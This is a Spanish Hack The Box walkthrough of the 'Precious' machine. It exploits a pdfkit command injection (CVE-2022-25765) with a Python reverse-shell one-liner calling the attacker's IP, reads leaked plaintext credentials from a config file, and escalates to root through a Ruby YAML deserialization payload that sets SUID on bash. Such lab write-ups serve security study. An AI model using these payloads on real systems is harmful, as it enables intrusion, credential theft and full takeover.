Precious - Hack The Box

⮕ Maquina Linux

❯ ping -c 1 10.10.11.189
PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data.
64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=75.7 ms

--- 10.10.11.189 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 75.721/75.721/75.721/0.000 ms
❯ whichSystem.py 10.10.11.189

10.10.11.189 (ttl -> 63): Linux

PortScan

# Nmap 7.93 scan initiated Thu May 18 18:29:22 2023 as: nmap -sCV -p22,80 -oN targeted 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.078s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 18 18:29:33 2023 -- 1 IP address (1 host up) scanned in 11.15 seconds

Enumeracion

Tenemos 2 puertos abiertos el puerto 22 que corresponde al servicio SSH y el puerto 80 que corresponde al servicio http con este sabemos que se esta empleando un servicio web

Si lanzamos una peticion con curl vemos en la respuesta un subdominio asi que vamos a agregarlo al /etc/hosts

echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts
10.10.11.189 precious.htb
❯ ping -c 1 precious.htb
PING precious.htb (10.10.11.189) 56(84) bytes of data.
64 bytes from precious.htb (10.10.11.189): icmp_seq=1 ttl=63 time=79.4 ms

--- precious.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 79.414/79.414/79.414/0.000 ms

Vamos a emplear la herramienta whatweb para ver las tecnologias que esta corriendo el servicio web

 whatweb http://precious.htb
http://precious.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.10.11.189], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Esta es la pagina web es basicamente una herramienta que cuando le pasas la url te lo convierte a PDF

Vemos que se esta empleando un Phusion Passenger

Si probamos poniendo la url de google nos da el siguiente output

Vamos a ejecutar un servicio http con Python3 para ver que pasa

❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...


Si le paso mi IP http://10.10.14.9:8080 vemos la siguiente respuesta le esta agregando .pdf

❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.189 - - [18/May/2023 18:55:40] "GET / HTTP/1.1" 200 -

Ademas en la carpeta de Descargas nos almaceno el archivo .pdf asi que ahora vamos a analizarlo

ls
 u623yln84vaysw8eg8jvo5lfite1wlft.pdf
❯ mv u623yln84vaysw8eg8jvo5lfite1wlft.pdf file.pdf

Si empleamos la herramienta exiftool que funciona para extraer los metadatos de un archivo y para mas cosas nos da el siguiente resultado, vemos tambien que ya nos esta dando la herramienta que emplea para convertir las cosas a pdf pdfkit v0.8.6

❯ exiftool file.pdf
ExifTool Version Number         : 12.16
File Name                       : file.pdf
Directory                       : .
File Size                       : 11 KiB
File Modification Date/Time     : 2023:05:18 18:55:41-06:00
File Access Date/Time           : 2023:05:18 18:55:41-06:00
File Inode Change Date/Time     : 2023:05:18 18:58:03-06:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Si investigamos que es nos dice que es una libreria para Node y pues convierte a pdf las cosas PDFKit ademas te muestran como instalarlo si es que lo quieres usar

Bueno como tenemos la version podemos buscar si existen vulnerabilidades y ya vemos que si existen para esa version

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

CVE 2022-25765

Despues de leer el P0C podemos inyectar un comando en la url usando el parametro name vamos a probar inyectando el comando id

❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Si inyectamos lo siguiente en la parte de la url

http://10.10.14.9:8080/?name=%20`id`

Vemos que somos el usuario ruby

❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.189 - - [18/May/2023 19:10:06] "GET /?name=%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 200 -


Sabiendo que tenemos una ejecucion remota de comandos podemos enviarnos una reverse shell a nuestra maquina de atacante

vamos a dejar el servidor http que ejecutamos con Python3 corriendo y ademas nos vamos a poner en escucha en el puerto que quieras para ganar acceso

❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Si quieres emplear python para ganar acceso o algun otro oneliner puedes verlos en aqui

Ahora nos ponemos en escucha con netcatpara que nos llegue la shell

❯ nc -nlvp 443
listening on [any] 443 ...

Esta es la siguiente url que tienes que inyectar en donde te pide la url

http://10.10.14.9:8080/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`

Shell ruby

Ganamos acceso

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.189] 45216
$ whoami
whoami
ruby
$ 

Ya estamos en una tty pero para que no se pierda la costrumbre

script /dev/null -c bash
stty raw -echo; fg
reset xterm
ENTER
bash-5.1$ export TERM=xterm

Hay otro usuario llamado Henry

bash-5.1$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
bash-5.1$

Solo Henry puede leer la flag asi que necesitamos convertirnos en ese usuario

bash-5.1$ pwd
/home/henry
bash-5.1$ ls -la
total 32
drwxr-xr-x 3 henry henry 4096 May 18 21:43 .
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..
lrwxrwxrwx 1 root  root     9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry  618 May 18 21:43 dependencies.yml
drwxr-xr-x 3 henry henry 4096 May 18 21:41 .local
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile
-rw-r----- 1 root  henry   33 May 18 20:44 user.txt

Si nos vamos a nuestro directorio personal encontramos esto

bash-5.1$ pwd
/home/ruby/.bundle
bash-5.1$ ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
drwxr-xr-x 4 ruby ruby 4096 May 18 20:55 ..
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
bash-5.1$ 

Tenemos credenciales

bash-5.1$ cat config 
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
bash-5.1$ 

henry:Q3c1AqGHtoI0aXAYFH

SSH henry

Si nos conectamos por SSH vemos que las credenciales son correctas

❯ ssh henry@10.10.11.189
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ECDSA key fingerprint is SHA256:kRywGtzD4AwSK3m1ALIMjgI7W2SqImzsG5qPcTSavFU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.189' (ECDSA) to the list of known hosts.
henry@10.10.11.189's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ export TERM=xterm
henry@precious:~$ 

User flag

henry@precious:~$ cat user.txt 
5ef47653340c7e3d9976bfddf8723800
henry@precious:~$ 

Escalada de Privilegios

Si buscamos por binarios SUID no encontramos nada intersante

henry@precious:/$ find \-perm -4000 2>/dev/null
./usr/bin/newgrp
./usr/bin/chsh
./usr/bin/umount
./usr/bin/chfn
./usr/bin/sudo
./usr/bin/su
./usr/bin/gpasswd
./usr/bin/passwd
./usr/bin/mount
./usr/bin/fusermount
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/openssh/ssh-keysign
henry@precious:/$ 

Si hacemos un sudo -l vemos que podemos ejecutar como root /usr/bin/ruby /opt/update_dependencies.rb

henry@precious:/$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/$ 

Si vemos el update_dependencies.rb este es su contenido a lo que se ve esta haciendo un update de las gemas de ruby ademas hay una linea que ya llama la atencion que es el dependencies.yml lo esta cargando en ese funcion en la que esta

henry@precious:/$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
henry@precious:/$ 

Si lo ejecutamos pasa esto por que no encuentra el dependencies.yml

henry@precious:/$ sudo -u root /usr/bin/ruby /opt/update_dependencies.rb 
Traceback (most recent call last):
	2: from /opt/update_dependencies.rb:17:in `<main>'
	1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
henry@precious:/$

Entonces lo que podemos hacer es crearlo pero obviamente vamos a hacer una malicioso si buscamos en internet encontramos eso

Mas informacion aqui

Bueno como podemos inyectar comandos vamos a comprobar primeramente eso ejecutando el comando whoami vamos a crear un script dependencies.yml en el directorio de henry

henry@precious:~$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: whoami
         method_id: :resolve
henry@precious:~$ 

Ahora vamos a ejecutarlo y nos esta ejecutando el comando ahora podemos poner la bash SUID para lanzarnos una bash privilegiada y ser root directamente

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
root
henry@precious:~$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "chmod u+s /bin/bash"
         method_id: :resolve
henry@precious:~$ 

Ahora vamos a ejecutar otra vez

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
	30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
	29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
	25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
	21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
	20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
	19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
	18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
	14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
	13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
	12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
	11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
	10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
	9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
	8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
	7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
	6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
	5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
	4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
	3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
	2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
	1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ 

Ahora la Bash es SUID y ya podemos ser root

henry@precious:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
henry@precious:~$ 

Root flag

henry@precious:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt 
51d60ca318e6d11b1c69d0813e58a5ba
bash-5.1# hostname
precious
bash-5.1#